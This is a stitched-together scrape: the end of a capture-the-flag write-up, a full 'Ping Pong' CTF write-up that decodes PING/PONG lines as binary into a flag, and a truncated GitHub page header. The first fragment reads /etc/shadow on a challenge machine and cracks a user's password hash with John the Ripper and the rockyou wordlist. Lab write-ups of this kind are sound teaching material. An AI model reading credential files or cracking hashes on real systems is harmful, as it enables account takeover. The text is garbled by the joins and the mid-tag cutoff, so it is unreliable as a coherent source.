```bradley_warner@5653f407bf8b:~$ tail /etc/shadowsystemd-network::18742:0:99999:7:::systemd-resolve::18742:0:99999:7:::messagebus::18742:0:99999:7:::sshd::18742:0:99999:7:::gordon:$6$EWpyf71C$Flz7gbn/SiQhZwAgRIqoXOG56PT2lK0aXjvM0ubY/52VBdESWS6iv0R6ZdcCWTZ/nSIBIMpXybqfyq5BGjLNr0:18742:0:99999:7:::joker:$6$R7sLJXQ9$wtS/caquqtt3l3ElAbyBILd4ylOCIOHXTJBC.o9qu48p0mXaTorvd0pD.H.i3buECHGzHbBT3XFEtGg8EoX650:18742:0:99999:7:::bradley_warner::18742:0:99999:7:::black_williams::18742:0:99999:7:::brett_willis::18742:0:99999:7:::bonnie_winter::18742:0:99999:7:::```We only need to brutforce the jocker password :```$ echo "joker:$6$R7sLJXQ9$wtS/caquqtt3l3ElAbyBILd4ylOCIOHXTJBC.o9qu48p0mXaTorvd0pD.H.i3buECHGzHbBT3XFEtGg8EoX650:1001:1001:,,,:/home/joker:/bin/bash" > unshadowed.txt$ john -wordlist=./rockyou.txt unshadowed.txtLoaded 1 password hash (crypt, generic crypt(3) [?/64])Press 'q' or Ctrl-C to abort, almost any other key for statusilovebatman (joker)```So the flag is Hero{ilovebatman} !
# Ping Pong ![Screenshot_8](https://user-images.githubusercontent.com/67475596/116263553-bf761380-a779-11eb-847c-e0bed7a2ca59.png) The file given from the author of the challenge is a long list of PING or PONG (here a small extract)```PONGPINGPONGPONGPINGPONGPONGPONGPONGPINGPING.........```The idea is to convert the text in binary language.So I started to replace PONG to 0 and PING to 1 by writing this easy script to obtain a binary string. ```Python3f = open("output.txt",'r')binary=''for i in range(0,176): linea = f.readline() if linea == "PONG\n": binary+='0' elif linea == "PING\n": binary+='1'print(binary)``` Then we get this string```01001000011001010111001001101111011110110111000000110001011011100011011001011111011100000011000001101110001101100101111100110001001101010101111101100110011101010110111001111101```Now is time to convert the binary into a ASCII to read the flag.I used an online ascii converter, this is the result > Hero{p1n6_p0n6_15_fun} Writeup written by FeeeDz from STNKS team
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups · GitHub</title> <meta name="description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta name="twitter:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta property="og:url" content="https://github.com/ivanchubb/CTF-Writeups" /><meta property="og:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" 